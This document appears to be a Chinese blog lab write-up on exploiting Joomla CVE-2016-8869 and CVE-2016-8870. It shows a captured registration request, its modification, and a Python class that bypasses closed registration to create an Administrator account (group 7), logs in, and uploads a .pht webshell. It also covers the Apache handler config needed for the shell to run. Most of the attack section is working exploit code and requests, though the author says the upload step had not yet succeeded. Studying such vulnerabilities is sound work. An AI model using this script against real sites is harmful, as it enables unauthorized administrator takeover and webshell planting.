0x00 简述
两个漏洞编号分别是CVE-2016-8869 CVE-2016-8870
漏洞利用描述:在网站关闭注册的情况下,绕过验证直接注册特权用户,登录设置允许的上传后缀等参数(但是我的环境中Administrator没有设置的权限),然后配合上传pht文件获取webshell。
漏洞成因:两个注册函数,默认使用的注册函数中UsersControllerRegistration::register():有检查是否允许注册
而另一个函数中UsersControllerUser::register()没有这样的检查
测试环境: xampp,php5.6.24,kali2.0,owasp zap
0x01手工测试
需要修改的地方有两处:jform[username] ==> user[username] ,registration.register -> user.register
首先抓正常注册的包
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[name]"
asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[username]"
asd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password1]"
asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[password2]"
asdd
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email1]"
asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="jform[email2]"
asd@asd.com
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="option"
com_users
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="task"
registration.register
-----------------------------1248058223232754271732747274
Content-Disposition: form-data; name="f9f7b49b2a156a316d79daf453138745" //token
1
-----------------------------1248058223232754271732747274--
修改后发包,成功注册。
场景:用户先访问了登录表单,然后接着提交注册表单,使用同一个session。
0x02脚本编写
包中需要修改的参数有:用户名,密码,邮箱,还有token
由于网站关闭了注册功能不能到注册表单去抓token,但其实使用登录表单的token也可以
requests.Session可以自动处理cookie问题。
token
#注册url和登录url
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
#建立session
sess=requests.Session()
sess.get(form_url)
sess.post(reg_url,data=data)
解析token
由于登录表单中只要一个token,就不用解析HTML的方法了,直接使用正则匹配
match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
遇到的坑 :
1,其实url中末尾的task参数不用改成user.register也可以成功
2,注册账户的脚本中 我在页面中找到的url是http://localhost/Joomla_344/index.php/log-out?view=registration
经手工改包测试注册成功(但是页面显示出错误),脚本测试不成功
看到pwn中的url地址是 http://localhost/Joomla_344/index.php/component/users/?task=user.register
换成这个成功注册
3,最后上传文件的时候需要images文件夹要有写的权限
漏洞的分析可以看seebug的两篇paper
http://paper.seebug.org/88/
http://paper.seebug.org/86/
网上关于这个漏洞的利用工具
https://www.exploit-db.com/exploits/40637/
我的代码也是参照这个大牛的代码写的,关于编程的风格和错误处理方面都有很多值得学习的地方
我写的代码只能登录和注册,上传测试还不成功。
import requests
import re
from bs4 import BeautifulSoup
import random
class cms_user :
def __init__(self,base_url,username,password,email,exploit_file='filthyc0w.pht'):
self.username = username
self.password = password
self.base_url = base_url
self.email = email
self.exploit_file = open(exploit_file,"r")
def joomla_login(self):
#input base_url
#return bool
sess=requests.Session()
admin_url=self.base_url+'/administrator/index.php'
resp=sess.get(admin_url)
token=self.extract_token(resp)
data = {
'username': self.username,
'passwd': self.password,
'task': 'login',
token: '1'
}
res=sess.post(admin_url,data=data)
if "Administration - Control Panel" not in res.content:
print "Login Fail"
return False
print "Login Sucess"
print "username : "+self.username
return sess
def extract_token(self,resp):
match=re.search(r'name="([a-f0-9]{32})" value="1"',resp.content)
if match is None:
print "not found token"
return None
print "get token: %s" % match.group(1)
return match.group(1)
def joomla_register(self):
reg_url=self.base_url+"/index.php/component/users/?task=registration.register"
form_url=self.base_url+"/index.php/component/users/?view=login"
print reg_url
sess=requests.Session()
resp=sess.get(form_url)
token=self.extract_token(resp)
data={
"user[name]":self.username,
"user[username]":self.username,
"user[password1]":self.password,
"user[password2]":self.password,
"user[email1]": self.email,
"user[email2]": self.email,
'user[groups][]': '7', # Yay, Administrator!
# Sometimes these will be overridden
'user[activation]': '0',
'user[block]': '0',
'option': 'com_users',
'task': 'user.register',
token: '1',
}
reg=sess.post(reg_url,data=data)
print reg.status_code
def upload_file(self,sess):
upload_form_url=self.base_url+"/administrator/index.php?option=com_media&folder="
resp=sess.get(upload_form_url)
form_tag=BeautifulSoup(resp.content,"lxml").find("form",id="uploadForm")
if not form_tag:
print "Form_upload can't found"
return False
upload_url=form_tag.get("action")+"&folder=hack"
print upload_url
filename=get_random_name()
print filename
file={"Filedata[]": ( filename , self.exploit_file , 'application/octet-stream')} #pht test image/pht
data=dict(folder="hack")
resp=sess.post(upload_url,files=file,data=data)
if filename not in resp.content:
print("[!] Failed to upload file!")
return False
def get_random_name():
name=""
for i in range(7):
name+=chr(random.randint(65,90))
return name+'.pht'
使用exploit-db的脚本
shell.pht 中是<?= phpinfo(); 以<?php 开头会过滤
经测试 这样的标签也不好用,而且在php7中已经移除了
上传shell 的配置
在/etc/httpd.conf 需要配置 作者说在很多主机中都是这么用的,算是一种绕过的方法,反正我的xampp套装里没有这个配置。不加这一段是不会成功的。
<FilesMatch ".+.ph(p[345]?|t|tml)$">
SetHandler application/x-httpd-php
</FilesMatch>
![](http://images2015.cnblogs.com/blog/796790/201611/796790-20161105163410533-1291988718.png)